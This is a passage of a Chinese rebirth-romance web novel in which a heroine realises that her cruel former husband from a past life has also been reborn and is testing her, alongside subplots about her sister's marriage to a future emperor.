柳桓安头都未抬,只专注下棋,“然后呢,你想说什么?” “接头人暴露了。”贺玄度淡声道。 柳桓安捏黑子的手微微一顿,“看来二公子身边是有暗探啊,我只负责监察,断案之事,可去廷尉府。” “接头人虽然暴露了,但跟踪的那些人,被我解决了。”贺玄度将蜜丸推过去,“这个东西,还劳烦兄长替我收着。” 柳桓安终于抬眸,“你那位朋友,究竟是谁?” 贺玄度缓缓道:“刘九生。” …… 贺玄度踏着月色回屋,方掀开帘子,暖融融的烛光便流泻而出。 只见柳舜华卸了钗环,松松挽着青丝,身上披着的白狐裘半滑落在肩头,露出里头杏色的中衣。灯影下,她手捧一本旧书,正看得出神。 贺玄度放轻脚步走近,从身后环住那截细腰 ,下颌抵在她肩上轻蹭。 “蓁蓁,谢谢你一直愿意等着我。” 柳舜华阖上书,转头笑道:“天冷,你的腿不能受寒,快些去洗漱,早些歇下。” 贺玄度应着,唤周松去伺候他沐浴。 柳舜华上了床,将汤婆子塞进锦被时,忽然意识到,这床有些小了。 往日独自就寝时尚可,如今两个人…… 正想着,贺玄度带着一身湿润的松木香掀被而入,床榻顿时陷下去几分。 温热的汤婆子被挤到两人中间,柳舜华下意识往墙角缩了缩,后背触到一片冰凉。 贺玄度长臂一捞,将人拥进怀中,低笑道:“这样才暖和。” 隔着薄薄的衣料,柳舜华能清晰地感觉到他胸膛的起伏。方才沐浴时的热气还未散尽,从他肌肤上蒸腾出若有似无的暖雾,空气微潮。 “啪”的一声,帐外烛花突然爆响。她如蒙大赦般支起身子,“我、我去熄灯”指尖刚碰到散开的衣襟,却被他一把扣住手腕。 “不必。”贺玄度举起广袖凌空一挥,带起的风扑灭了烛火。 帐内顿时陷入黑暗。 两人紧贴在一起,呼吸交错,却又各自克制。贺玄度的手臂横在她腰间,掌心温热,却只是虚虚搭着,不曾逾矩。 “睡吧。”贺玄度声音响在头顶,刻意放轻的语调反而挠得人心尖发痒。 柳舜华轻轻“嗯”了一声,闭上眼。 片刻后,柳舜华不安地动了几下,光裸的小腿猝不及防贴上他灼热的肌肤。 贺玄度身子瞬间滚烫起来,喉结滚动,难道她想…… 他心想,其实,也不是不可以…… “蓁蓁,”他故作平静,嗓音却比方才低哑了几分,“有话你可以直接说的。” 黑暗中,柳舜华声音响在耳侧,“你压到我头发了。” 第90章 第90章他也重生了? 回去时,柳棠华站在马车前,怯怯地看着柳舜华,像小时候做错事等着挨训的模样。 柳舜华想起昨日她的那些话,心里不是滋味。 凉州归来,见到芊芊时,她还是个小不点,缩在孙姨娘后面,见人就躲。 孙姨娘只想着被扶正,指望儿子能替她争口气,便一心扑在儿子身上,只当芊芊是累赘。 芊芊自小受尽委屈,人胆小,身子骨又弱。 多少次病痛都差点带走她,是她日夜守在病榻前,才将她从鬼门关拉回来。 她捧在手心长大的妹妹,怎么能眼睁睁地看着她往火坑里跳。 她缓声道:“芊芊,你过来。” 柳棠华过去,攥紧衣角,抬头道:“姐姐,你不用再劝我了,我已经想得很清楚了。” 柳舜华摸着她的头,叹声道:“此事你容我好好考虑一下,给我一些时间。” 马车缓缓行驶,柳舜华坐在车内,心事重重。 贺玄度握着她的手,问:“你们姐妹吵架了?” 柳舜华摇头,突然想起了什么,狐疑地望着贺玄度,“刘九生要娶芊芊,这事你知道吧?” 贺玄度举手作起誓状,“这个我真不知,若是我提前知晓,定不会瞒着你。” 柳舜华拉下他的手,“我信你。” 贺玄度蹙眉道:“我也实在没想到,九生他竟然瞒着我,等得了空我找他谈谈。” 前世,柳舜华不知,贺玄度曾在后来的政变中推波助澜。自从知悉后,将上辈子的事情梳理一遍,突然意识到,当初他突然葬身火海,这其中或许有什么隐情。 再加之,芊芊坚持要嫁给刘九生。 只觉风声鹤唳,惶惶难安。 贺玄度以为她是在担心回门留宿之事,笑道:“你放心,万事有我,程氏她不敢为难的。” 回到相府,一进入正厅,贺玄度便知今日难免要有一番周旋。 贺留善端坐主位,手中茶盏重重磕在案几上,发出清脆的碰撞声。 贺玄度解释说天色将晚,车马损坏,归家不便。 贺留善犹自不满,连带着看柳舜华的目光都有些厌弃,“柳家好歹也是为官之家,难道这点礼义都不知,就任由你们胡闹。” 柳舜华垂首而立,不着痕迹地瞥了一眼站在丞相身侧的贺容暄,见她正低头摆弄腰间玉佩,唇角带着一丝得意的笑。 “柳家正是知礼仪,才重人伦。”贺玄度淡然开口,声音不疾不徐,“难不成车马损坏,我们要带着新妇步行回府,才算全了这鬼规矩?” “放肆!”贺留善一拍桌子,“你眼里还有没有我这个父亲?” 贺玄度漫不经心道:“正是眼里有父亲,才会一回府便向您请安。否则,这车马劳顿的,我们早回去歇着了。” 厅内霎时死寂。 柳舜华看见贺留善手指已经扣住了茶盏边缘,来不及细想,一个箭步挡在贺玄度身前。 茶盏终究没有掷出。 贺留善深吸一口气,他可以责骂儿子,却不能落个苛待儿媳的名声。 柳舜华转过头来,福身一礼,“父亲容禀。此事说来蹊跷,相府的马车料想保养得当,怎会无缘无故断了车轴?”她转身看向贺容暄,“夫君命人查验,发现是被人锯了一大半,然后突然断裂的。” 贺容暄面上一变,攥紧手中的玉佩。 贺玄度适时道:“比起在这责骂,父亲不如先派人查一查,究竟是谁这么大胆,竟敢在相府兴风作浪。” 贺留善身形微顿,老谋深算如他,立刻明白了怎么回事。 程氏似乎看出了什么,立即上前柔声劝道:“相爷何必动怒,一家人和和睦睦才是最重要的。以我看,二公子也是情有可原,这事还是算了吧。” 柳舜华冷笑,程氏在此装出一副贤良淑德的模样,丞相又要和稀泥,贺容暄即便犯了天大的错,也就这样稀里糊涂地过去了,最后受伤的永远只有贺玄度。 不过,他们不准备将此事闹大,毕竟替贺容暄办事之人太多了,最后还不是随便抓几个替罪羊敷衍了事。何况他们回门留宿,若程氏若真拿家法说事,他们也不好辩驳。 等到了自己院内,柳舜华才算放松下来。 贺玄度替柳舜华捏着肩,垂头轻声道:“原本想着能早日离开长安,如今竟害得你同我一起在这里看人脸色。” 柳舜华回头,伸手点在他眉心,“又说这些傻话。你放心,我也不是任由人拿捏的,我能自己照顾自己。” 贺玄度当然知道,柳舜华头脑灵活,做事有分寸,可毕竟是在相府,他不得不防着程氏暗中动手脚。 他道:“这些日子,我可能有些忙。你若有事外出,记得带着洪声一起。” 柳舜华点头,想起妹妹之事,眸中闪过一丝忧色,低声道:“若是见到刘九生,记得帮我探探他的口风。”她顿了顿,“三宫六院,佳丽三千,想要什么样的女子没有?倘或他能放手,对谁都好。” 贺玄度扶额叹息。 一个是生死之交的兄弟,一个是相濡以沫的夫人,他夹在中间,进退两难。 柳舜华的心思,他再明白不过。她自幼护着妹妹,如珍似宝地养大,听闻九生可能继位,自然会心生恐惧,她怕那深宫高墙吞了妹妹的天真烂漫,怕帝王恩宠如镜花水月,一朝梦醒,什么都不剩。 刘九生的想法,他也比谁都清楚。他漂泊流浪十几年,刀尖舔血,从未被人真心以待。头一遭遇到个如此热烈,满心满眼都是他,对他嘘寒问暖的姑娘。于他而言,这不仅仅是男女之情,更是生平一份慰藉,他一心想将这天底下最好的捧到他跟前,怎么肯轻易放弃。 他道:“蓁蓁,其实棠华她不是小孩子了,她也有自己的想法,你会不会……管得太过了。” 柳舜华摘下钗环,放在桌上,眼底带着几分执拗,“你是我亲妹妹,我自然要多上心些。” 贺玄度忽然凑近,温热的气息拂过她耳畔,嗓音低沉:“棠华是大人了,不能总被你管着。”指尖若有似无地划过她的手腕,带着几分促狭,“你若是真想管人,等我腿好了,咱们努努力,争取让你早日……” 她先是一怔,随即反应过来,耳尖瞬间烧红,羞恼地伸手掐他在腰间,“青天白日,又在胡说。” 贺玄度却笑得更加肆意,顺势捉住她的手,将她往怀里一带,在她颈窝蹭了蹭。 她挣扎两下未果,仰头笑道:“贺玄度,你是属狗的不成。” 贺玄度抚着她的发,眼底笑意温柔,低声道:“嗯,我就是夫人的忠犬。” 柳舜华捂住脸,贺玄度还真是,什么话都说。 “公子,少夫人,大公子来了。”洪声隔着帘子,在外面喊 了一声。 两人面面相觑,他来做什么? 贺玄度被扰了兴致,闷闷起身,“知道了。” 柳舜华蹙眉道:“咱们方回来,他便这般急切寻上门,莫不是要闹事?” 贺玄度已经坐回轮椅上,不慌不忙道:“无妨,先出去看看。” 明堂内,檀香袅袅,贺玄晖端坐在下首,见贺玄度与柳舜华过来,缓缓起身,衣袂微动间,眼底暗流翻涌。 贺玄度示意他落座,正欲开口询问来意,却见他目光掠过柳舜华,眼中哀伤一闪而过,转瞬又化作温润如玉的笑意。 “二弟,”他嗓音低缓,指节无意识地摩挲着茶盏边缘,“前两日病中不甚清醒,说了些荒唐话,今日特来赔罪。” 贺玄度眉梢微挑,淡声道:“兄长不是已派人来解释过?何必亲自走这一趟。” 贺玄晖目光凝在柳舜华身上,“总归是冲撞了柳小姐,心内惶恐,特来当面道歉。” 贺玄度抬眸,突然轻笑一声,茶盏重重搁在案上,“柳小姐?兄长不觉得此话不妥?” 贺玄晖像未听到一样,伸手从丁宝手中拿过锦盒,起身走到柳舜华跟前,温声道:“这是赔礼,还望能收下。” 盒身以紫檀木雕琢而成,木质细腻如玉。盒面覆着锦缎,金线勾出缠枝莲纹,四角包着錾花银饰,中央嵌一块和田白玉,玉色温润如凝脂,雕作并蒂莲开之态。 柳舜华瞳孔微缩。 上辈子,她曾在贺玄晖卧房,见过这个盒子。 当初大婚后,他们还未曾闹翻。她曾去帮他收拾卧房,看到这样精美的盒子,忍不住上前去看。结果还未摸到,便被贺玄晖出声喝止。他当时发了好一通火,不由分说将她赶了出去。 后来,听闻他与刘妉柔之间的传闻,她只当那里藏着他们的定情信物。 如今,这曾被他视若珍宝的盒子,就这样轻易递到她眼前。 贺玄度歪头,挡住二人视线,笑道:“兄长厚礼,我们心领了。” 贺玄晖淡淡道:“并不是什么贵重的东西,柳小姐要不要打开看看,万一你喜欢呢?” 贺玄度眼中寒光一闪,揽住柳舜华的腰肢,“不必了,蓁蓁喜欢的,天涯海角,我都会帮她寻来,就不劳兄长操心了。” 见他当着外人的面如此亲昵,柳舜华腰间一热,脸色绯红。 “有些错误,总要弥补。”贺玄晖摩挲着锦盒,将它放在桌上,缓缓抬眸看向柳舜华,眼底翻涌着暗潮,“还望柳小姐笑纳。” 说罢,转身离开。 贺玄度看着他离开的背影,心里有种说不出的怪异。 贺玄晖这些年不近女色,至今未娶。 他曾以为,他是为了刘妉柔。 可上林苑那夜,他分明听到,贺玄晖与刘妉柔之间不过是场交易。 此前贺玄晖的确也有要娶柳舜华的意思,可他明白,其中更多是利益权衡。 不然,当初他们定亲时,贺玄晖也不会无动于衷。 可自他魔怔醒来,他总觉得,柳舜华与贺玄晖之间有种说不清道不明的暗流。 贺玄晖方才看她的眼神,太过露骨,那不是一个兄长该有的目光。倒像是一个犯了错的丈夫,眼巴巴地看着生气的妻子。 这让他很不舒服。 堂内重归寂静,锦盒静静躺在檀木案几上,暗红色的漆面泛着幽微的光。 柳舜华盯着那盒子,喉间发紧。 “蓁蓁,”贺玄度修长的手指覆上她的手背,“你若不喜欢,我这就让人扔出去。” “毕竟是兄长的心意。”她声音飘忽,“还是看看吧。” 她倒要看看,贺玄晖到底想要做什么。 贺玄度目光在柳舜华与锦盒之间游移,方才兄贺玄晖递过锦盒时,他分明看见柳舜华眼中闪过一丝惊愕。 “我来开吧。”贺玄度突然说道,伸手将锦盒掀开。 锦盒开启的刹那,柳舜华呼吸一滞,只觉一股寒意从脚底直窜上来,指尖不受控制地轻颤。 只见里面放着一对竹蜻蜓,一件双鱼木雕佩饰,还有一本《考工记》。 想到此前柳舜华曾送竹节人给他,贺玄度不觉拿起那对竹蜻蜓,竹片犹青,像是新买的。 再看那枚双鱼木雕佩饰,虽也是赶工出来的,但雕刻依旧精细,不难看出花了不少工夫。 反倒是那本《考工记》,古朴泛黄,一看便有些年头了。 这些东西虽不是什么稀罕物,但的确都是柳舜华喜欢的。 贺玄晖怎会对柳舜华的喜好如此了解,他刻意调查过她? 柳舜华死死盯着锦盒内的东西,仿佛有人扼住了她的喉咙,几乎要喘不过气来。 这个竹蜻蜓,同前世送给他,被贺容暄扔进池塘内的那个,一模一样; 还有双鱼佩饰,也是她自己亲手打制,常佩在身上的,可是这辈子她从未在人前戴过; 还有那本《考工记》,左上角一点斑驳印记,与当初她从贺玄晖书房拿走的那本,毫无二致。 …… 她突然想起,洪声说贺玄晖魔怔时,曾跑到池塘捉蜻蜓。还有,那日他同她说的那些话,回门当日他看她的眼神。 一个可怕的念头如惊雷般劈开她的神智。 他也重生了。 那个曾经让她受尽折辱,逼得她葬身火海的贺玄晖,带着前世的记忆回来了。【你现在阅读的是 】 90-100 第91章 第91章我想请柳小姐听一个故事…… 柳舜华浑身都在颤抖。 贺玄晖会不会,已经知道她也是重生的。 他在试探她。 当初她听了他们那么大的秘密,他要置她于死地。 “蓁蓁,你没事吧?”贺玄度“啪”地将锦盒重重合上。 柳舜华心跟着一颤,摇头道:“没事,就是有些头晕。” 贺玄度扶着她,“既然身体不适,先好好歇息吧。” 柳舜华头脑一片昏沉,也顾不上其他,转身进屋歇息去了。 贺玄度看着桌上的锦盒,静坐许久。 洪声进来,看了许久,忍不住出声,“公子,您不是说让备好马车,要出去一趟,还去吗?” 贺玄度敛眸,淡声道:“去。” 层云楼内,刘九生已经等候多时。 贺玄度一见他,险些被那身装束晃了眼。 赤色菱纹锦袍上金线错叠,上绣五彩祥云,日光下熠熠生辉。更扎眼的是腰间那只荷包,粗针大线绣着两只歪脖水鸭子,一灰一褐,活似被雷劈过的鸳鸯。 “你这是……”贺玄度嘴角抽了抽,“打劫了绸缎庄,顺便打死了绣娘?” 刘九生却浑不在意,拍了拍那只丑荷包,“你懂什么,这可是芊芊亲手绣的。” “这么丑,你也敢戴出来,佩服。”贺玄度坐下,看着他的衣袍,挑眉道:“还有这身衣服,啧啧。” 刘九生一笑:“芊芊前阵子说她发了一笔小财,不过喊了几声姐夫,便赚得盆满钵满,一高兴便给我做了这套衣服。” 贺玄度扶额,如今他听到“姐夫”就头疼。 刘九生倒了一杯茶递过去,笑道:“听闻你昨日带着夫人回门,阵仗挺大。柳大人如今对你这个新女婿是不是很满意?” 贺玄度接过茶水,颇为得意道:“我搬空全部 家当给蓁蓁撑腰,对蓁蓁之心天地可鉴,哪个父亲会不喜欢这样的女婿。” 刘九生食指敲击着桌面,笑问:“你当初上门下聘之时,柳大人与柳御史可曾为难你?” 贺玄度将茶杯轻轻搁在案上,沉默片刻才开口,“九生,你想去柳家提亲?” 刘九生微微垂眸,唇角却微微扬起,声音轻而坚定,“没错,我想娶芊芊。” 父亲要废掉刘昌是迟早的事,刘昌被废,整个皇族中,只有他才是最合适的替代者。 这也意味着,他要娶的,不是简简单单的妻子,而是大安未来的皇后。 楼下街市喧闹,行人往来如织,而雅间内却骤然静了下来。 贺玄度目光扫过人群,又落回刘九生身上,看着他腰间的丑荷包,缓缓道:“九生,你可都想好了?” “此前,我从未想过,有朝一日会喜欢上一个姑娘。”刘九生抬眸,眼底映着窗外的天光,明亮得灼人,“我想给她这世间最尊贵的称号,想让她受世人朝拜,想把一切美好的都捧到她跟前。” 贺玄度看着他,“可是九生,深宫总有腥风血雨,你确定她能抵挡得住?” 刘九生轻笑一声,眼底却暗了几分,“我自当拼了我这条命,保她安然无虞。玄度,其实我也怕……怕她不喜欢那样的日子。” 贺玄度叹了口气,语气缓和下来:“你既明白,便该知道,这条路不好走。” “我知道。”刘九生抬眼看他,笑意里带着几分少年意气,“所以,我不是还有你吗?” 贺玄度挑眉道:“这时候倒想起我了?” 刘九生一笑:“我心里一直有你。” 贺玄度浑身鸡皮疙瘩,“打住,为了柳棠华,你真是什么话都说得出口。” 刘九生讨好道:“你有经验了,不如教教我,怎么才能让柳大人满意?” “比起这个,我今日找你是有更重要的事。”贺玄度收起玩笑,正色道:“昨夜,我与柳桓安谈过了。” 刘九生一愣,旋即问道:“可曾探出什么口风?” 贺玄度点头,“睿帝驾崩前,柳桓安的确接到过密旨。” 刘九生:“什么密旨?” 贺玄度缓缓道:“睿帝口谕,要他暗中扶植先太子遗孤。” 尽管已猜到这道密旨与他有关,但亲耳听到,刘九生依旧浑身一颤。 他道:“那他?” 贺玄度盯着他,“柳桓安手中有睿帝留下的暗卫以及私军,我父亲也已经准备行动。九生,大安很快就又要变天了。” 这一瞬,刘九生读懂了睿帝的用意,他竟替他筹谋如此深远。 他浑身血液翻涌,起身对着睿帝陵墓方向遥遥一拜。 贺玄度提醒道:“柳桓安行事谨慎,心内又有盘算,前脚我才试探出他,你紧跟着要娶他的妹妹,只怕他会多想。” 刘九生略一皱眉,抬头道:“我娶芊芊出自真心,与柳桓安无关,我坦坦荡荡。” 贺玄度摇头,“柳桓安不会信你,他只会想,你娶他妹妹,是不是为了拉拢柳家。” 刘九生下定决心,“或许,我可以见一见柳桓安,我会想办法说服他。总之,我非芊芊不娶。” 贺玄度闻言,抬眼看向刘九生,“柳桓安极重血亲,我是相府闲散的弃子,又答应他将来带着蓁蓁离开长安,他才如此轻易答应。而你,是要继承大统之人,他定会好好思量。” “正因为他重血亲,才更能感受到我的诚意。”刘九生打断他,目光锐利,“我会与他开诚布公,用诚意打动他。” 贺玄度微微蹙眉:“若他拒绝呢?” “一次不成便两次,两次不成便三次。柳家重礼数,我便以礼相待;柳桓安疑心,我便剖心明志。”他轻笑一声,“我隐姓埋名十数年,最不缺的,就是耐心。” 贺玄度盯着他看了半晌,忽然也笑了,“看着你,竟像是看当初的我。九生,你对柳棠华的心思,我看明白了。你放心,柳家那边,我会帮你。” …… 不知睡了多久,柳舜华缓缓醒来。 芳草与妙灵见她醒了,笑着端上备好的八珍汤给她。 柳舜华捧着温热的瓷碗,感受着汤盏传来的暖意。香气氤氲而上,细细一嗅,当归的苦涩气息,若有若无的山参,还隐隐带着一丝甘甜。 汤水滑过喉咙,一股暖流缓缓漫向四肢百骸。 柳舜华轻轻呼出一口气,窗外日已偏西,想必她这一觉睡得久了。 “夫人可算是醒了。”芳草笑着说道:“这汤是二公子特意嘱咐人炖的,就等您醒来喝呢。” 柳舜华低头看着碗底沉淀的药材,看到下面有些许干草,还有几颗枸杞,便知贺玄度怕她嫌苦,特意加的。 “现在什么时辰了,玄度可有回来?”她将空碗递还。 “酉时一刻了。”芳草接过碗,又递上热帕子,“二公子还未回来,要差人去催吗?” 柳舜华摇头,“不必了。” 贺玄度应是去寻刘九生了,他们这一见,自然有许多话要谈,不到落日是不会回来的。 柳舜华睡了一觉,喝过热汤,神识逐渐清明。 她确信,贺玄晖也记起了上辈子的事情。 但婚前寥寥几次相见,他对她似乎并未有什么特别的举动,看她也与其他任何人毫无二致。 如沐春风,又清冷疏离。 那种压迫与窒息感,似乎是在他魔怔之后,才逐渐显露的。 也就是说,他极有可能是近日才有了上辈子的记忆。 他一醒便拿着锦盒过来,无非是想试探她。 她仔细回想,与贺玄晖几次短暂相处,除去凉州那次,她情急之下说出他不能食用山药之事,便再无破绽,贺玄晖理应不会想到她也重生才对。 若要细说,唯一的破绽便是,重生之后,一切都与上辈子的轨迹相同,唯一不同的便是她。 她嫁给了贺玄度。 贺玄晖也应是因为这个,才疑心她的。 窗外起了风,透过窗缝吹来,她拢了拢身上的狐裘,无意识地摩挲着袖中的暖炉。 她必须要想办法,试一试他。 若他真记得前世,那这一世的风平浪静,不过是暴风雨前的假象。 “少夫人,”妙灵轻声打断她的思绪,“老夫人院里的青竹来了,说是请您过去一趟。” 回门之后,贺玄晖便过来送锦盒,她头脑昏沉,一觉睡去,倒忘了向老夫人请安。 柳舜华拢了拢锦袍,由妙灵陪着,随青竹踏出院门。 寒风卷着枯叶擦过廊下,青竹步履匆匆,在拐角处突然停住,手摸向发边,惊呼一声:“糟了,我的耳珰不见了。” 柳舜华垂眸看去,果见青竹左耳空空如也。 青竹下意识看向妙灵,眼中带着恳求。 妙灵会意,低声道:“少夫人,可否容我回去找找?” 柳舜华目光在青竹耳垂上一扫,那残留的血痕太过刻意。 这耳珰,怕不是意外遗失,而是有意为之。 青竹是老夫人的人,她倒要看看,是谁将手伸进老夫人院中。 “去吧。”她不动声色地应允。 青竹千恩万谢后,带着柳舜华往老夫人院子走去。 走着走着,柳舜华脸色微微一变,脚步一顿,“我怎么记得,去老夫人那里不是这条路?” 青竹背影一僵,强笑道:“少夫人初来乍到有所不知,这是近路。” 一派胡言,这条路继续走下去,分明离老夫人的慈安居越来越远。 倒是……离贺玄晖的书房越来越近。 “是吗?我虽对相府不熟,却是分清东西南北的。”柳舜华停下脚步,冷声道:“青竹,你到底是何目的?” 青竹“扑通”一声跪在地上,“少夫人,对不起,是我骗了您,可我……我也是不得已啊。” “不得已?”她冷笑,“你今日进我院中传话,多少双眼睛都看见了。你要做什么前,是不是要掂量一下,若我有个闪失……” “是我让她去的。”一道清冷的嗓音自月洞门后传来。 她抬眸,只见那人一袭墨色锦袍,正从容走出。暮光斜照,在他身上投下斑驳树影,更衬得他眉目如画。 柳舜华浑身一阵发冷。 贺玄晖站定在她面前,高大的身影将她笼罩在阴影里。 “兄长这是何意?”柳舜华强自镇定,袖中手指却已掐入掌心。 贺玄晖不紧不慢地向前迈了一步,“柳小姐不必紧张。我不过是……想与你说几句话罢了。” 柳舜华语气尽量平稳,“兄长若要什么,何不等玄度回来?” 贺玄晖摆手,青竹忙退了下去。 “柳小姐,前面便是我的书房。”他道:“我想请柳小姐进去,听一个故事。” 第92章 第92章前世今生 柳舜华跟在贺玄晖身后,穿过竹林。 竹叶早已凋尽,只余枯枝交错着。林间极静,鸟雀了无踪迹,唯有冷风穿行,卷起零星的雪粒。 暮色四合,光线越来越暗。 柳舜华走在竹林间,蓦地想起前世,她在此慌乱奔跑的场景,止不住浑身打颤。 “柳小姐冷?”贺玄晖忽然驻足,回头看她,眼底幽深如古井。 柳舜华迅速敛去神色,淡声道:“不过是风大了些。” 贺玄晖唇角微扬,“那便快些到书房吧。” 柳舜华裹紧衣领,跟上贺玄晖的步伐。她怕极了,可眼下正是试探他的好时机,她不能错过。 书房内,炭火静静燃着,贺玄晖早已让丁宝泡好热茶。 茶香袅袅,驱散了满室寒意。 窗棂外,竹影婆娑,在暮色中摇曳如鬼魅。 “柳小姐请坐。”他抬手示意,将茶盏缓缓推至她面前。 柳舜华垂眸,借着捧茶的姿势瞥了他一眼。 贺玄晖双手修长,骨节分明,执盏时不紧不慢,从容优雅。可当她抬眸对上他的眼睛时,却只看到一片平静,深不可测的平静,像冰封的湖面,看不见底下暗涌的涡流。 他似是瞧见她在看他,笑道:“多谢柳小姐肯赏光前来。” 柳舜华将杯盏放下,“兄长今早先是送了礼,又差人将我截住,我若是再不来,兄长要做什么?” 她声音如檐下冰凌,清冷锐利,一下刺在他心上。 贺玄晖指尖微顿,茶汤在杯中晃出一圈涟漪,依旧笑得温和,“柳小姐,我说过了,只是想请你过来,听一个故事。” 柳舜华看着他,淡淡道:“我人已经在这了,兄长请吧。” “兄长”二字咬得很重,像在两人之间划下一道无形的界线。 贺玄晖低垂的睫毛在眼下投下一片阴影,“这个故事太长,我也不知要从何说起。” 他声音低沉,身影落在窗边,清隽如竹,却无端有几分罕见的迷茫无助。 茶香氤氲中,他恍惚又看见前世的最后光景,她红着眼眶决绝的背影,和那场吞噬一切的大火。 大火熄灭后,他不顾众人阻拦冲进废墟,在焦黑的梁木下寻到她蜷缩的身躯,颤抖着将她抱起,心如死灰。 他这一生,都在尽心尽力做着贺家的模范。为了家族的荣耀,为了父亲的大业,不得不将真心层层包裹。 他原本以为,他可以等的,等到一切尘埃落定,等到贺家彻底掌握朝局,等到再无人能威胁他们的未来。到时他就可以不再受任何拘束,好好与她过完下半辈子。 却不想等来的,是眼睁睁看着她绝望地奔向火海。 那一刻,他慌了,拼命呼喊她的名字,却再也等不到她的回应。 那个会笑着同他耍赖,偷偷在他书房放一盏暖茶,等他归来在廊下打盹的妻子,再也不会回答他了。 柳舜华已经有几分不耐,目光扫过他,落在窗台的白梅上。 这里还真是一如既往的高洁风雅,谁能想到暗地里却做着弑君夺权的勾当。 贺玄晖忽然抬眸,漆黑的眼瞳直直望进她眼底,“柳小姐,你为何从第一次见面,便一直躲着我,是不是我此前,曾做过什么……得罪了柳小姐?” 柳舜华心下一惊,贺玄晖果然在试探她。 她不动声色地收回目光,“兄长,您是相府长子,高高在上,又有心上人,难道我不该避嫌吗?” 贺玄晖明显怔住了,片刻后,他突然低笑出声来,看着柳舜华的眼,“柳小姐误会了,我与妉柔郡主清清白白,并无私情。” 他的眼神真诚而炙热,让柳舜华很不自在。 她管他有没有心上人。 贺玄晖很明显误会了什么,声音忽然轻柔下来,“柳小姐,让我为您讲那个故事吧。” “从前有个大户人家的公子,自幼被寄予厚望,一心只想着家族荣光。”他的声音带着几分自嘲,“直到一个春日,他外出替父亲谈生意,无意撞见祖母马车受惊。正忧心之际,忽见一抹绯红身影掠过,有个姑娘跳上了马车。” 柳舜华手中的杯盏猛地一晃,他说的是她。 上辈子救下老妇人时,贺玄晖竟然也在。 “那姑娘未戴帷帽,乌发高束,一双杏眸明亮如星,竟徒手制住了发疯的马匹。”他说着,目光不自觉地落在她如今挽起的鬓发上,仿佛想要透过时光,窥见当年那道飒爽的身影。 他声音愈发低沉,“公子本以为那日只是偶然,可半月后祖母大寿,那姑娘竟又出现在寿宴上。她依旧穿着绯色衣裙,在满堂女眷中耀眼得让人移不开眼。” “公子明知门第悬殊,本不敢妄想。可母亲偏偏看中了那姑娘,原以为父亲不同意,谁知父亲听闻,竟没有反对,因为父亲正在拉拢那姑娘的兄长。” 茶香袅袅中,柳舜华好似看见他眼底翻涌的痛色。 “他明知是场算计,明知父亲是在利用姑娘,却还是……”他声音哽咽,“还是抵不过那份心动,答应了亲事。” 柳舜华猛地抬眸,撞进他盛满悔恨的眼睛里。 他说什么?心动? 前世那个对她冷若冰霜的夫君,竟说他……喜欢她? 多可笑啊! 她忽然想笑,前世多少个夜晚,她捧着新学的点心在书房外等到烛火熄灭,多少次想为他披衣,却只换来冷冷一句“不必”。 他在大婚之夜将她晾在新房,任由她在西竹院受尽屈辱,如今却说喜欢她。 柳舜华冷笑一声,脱口道:“若是真喜欢,就不该利用她,而是放了她。” 贺玄晖倏地抬眸,眼底闪过一丝狼狈,随即又化作更深的痛色,“你说得没错,成婚后,公子才发现自己有多可笑。他以为能护住姑娘,却连正眼瞧她都不敢。” “他就是个傻子,既不想放手,又不甘心放她离开。便想办法让她远离争端,将她养在后院。” 好一句养在后院,轻飘飘地将她那些年受的苦抹去,美化成一切都是为她好的样子。 他可知道,她在西竹院等过的每一个长夜,她被下人耻笑时强撑的骄傲,她等着他撑腰却被冷眼相待的绝望…… 若她不是当事人,几乎就要为他的隐忍深情流下泪来。 “后来呢?”柳舜华听见自己平静得可怕的声音,“那个公子,可曾悔过?” 贺玄晖望向窗外,喉结滚动了几下,才哑声道:“自是后悔的,悔他为了所谓的家族大业,辜负了 最该珍惜的人。等他明白过来时……那姑娘绝望之下,投入火海……” 贺玄晖这个故事,隐瞒了两个极为关键的信息。 一个是他要娶刘妉柔为妻,逼迫她让位。 一个是当初她被迫投入火海的原因。 若他怀疑她也是重生,那他完全没必要隐瞒。 想通这层,柳舜华垂眸,掩去眼底的冷意,“倒是个凄美的故事,只是不知,兄长同我说这些,有何用意?” 贺玄晖攥紧杯盏,“柳小姐,我想问,如果是你,你会原谅这位公子吗?” 柳舜华轻笑一声,“这等痴男怨女的故事,戏文里多的是,兄长怎么如此在意?” 贺玄晖看着柳舜华,瞳孔微微收缩。 “只是,我有个疑问。”柳舜华慢条斯理地拢了拢衣袖,“故事中那姑娘为何要自焚?莫非,是有什么隐情?” 贺玄晖喉结滚动,“那姑娘起了误会。” 柳舜华秀眉挑起,“误会?我倒是好奇了,究竟是什么样的误会,能让一个活生生的人,不惜一切投身火海?” 空气骤然凝固,贺玄晖垂头,眸中一片哀伤,“她在后院伤透了心,以为那公子不喜欢她。” 柳舜华缓缓将茶盏推回,“原来如此。真是没想到,兄长竟是个爱戏之人。只是我不爱戏,兄长找错人了。” 这场试探,已有结果。 柳舜华起身,裙裾扫过案几,“故事听完了,我也该告辞了。” 她转身欲走,忽觉袖口一沉。 贺玄晖竟失态地攥住了她的裙裾,骨节泛白的双手微微颤抖,声音嘶哑,“那姑娘是爱他的,若有来世,她会原谅他,会重新开始的,对吗?” 那姿态近乎哀求,仿佛溺水之人抓住最后一根浮木。 柳舜华居高临下,垂眸看着他。 忽然想起前世西竹院那个雪夜,她也是这样死死攥着他的衣角,求他别走。冰凉的锦缎从她指间滑走,带走最后一丝温度。他转身离去的背影,决绝得没有半分留恋。 前世她处处卑微换不来他一个回眸,如今倒来扮深情? 柳舜华广袖猛地一甩,攥住衣角的那双手“砰”地砸在地上。 她声音冷得像淬了冰,“兄长,你入戏太深了。” 窗外忽起一阵急风,窗台上的白梅应声而落,砸在地上碎成几瓣。 贺玄晖掌心徒然悬在空中,还保持着抓握的姿势。 柳舜华早已转身离去,裙裾掠过门槛,像极了前世火海中,他终究没能抓住的那抹残影。 出了书房门,太阳已落山,月亮隐隐升起。 柳舜华往前一转,忽见青竹掩映处,贺玄度正坐在轮椅上等她。 周松推着轮椅,贺玄度膝上盖着狐裘,手里捧着暖炉,见她出来便歪头一笑,那笑容比落在雪地上的霞光还要暖上几分。 柳舜华突然想起,上辈子,她无措地奔跑在竹林间,心里想的便是他。只可惜,她到死都没能再触到心底这轮明月。 “蓁蓁。”贺玄度轻声唤她,声音温柔得像春风拂过新柳。 柳舜华鼻尖一酸,快步奔过去,一头扎进他怀中。 墨狐裘带着他身上特有的梅香,温暖得让人想落泪。 她道:“你等我很久了,是吗?” 贺玄度单手环住她,另一手轻轻抚过她微乱的鬓发,“不久,刚刚好。” 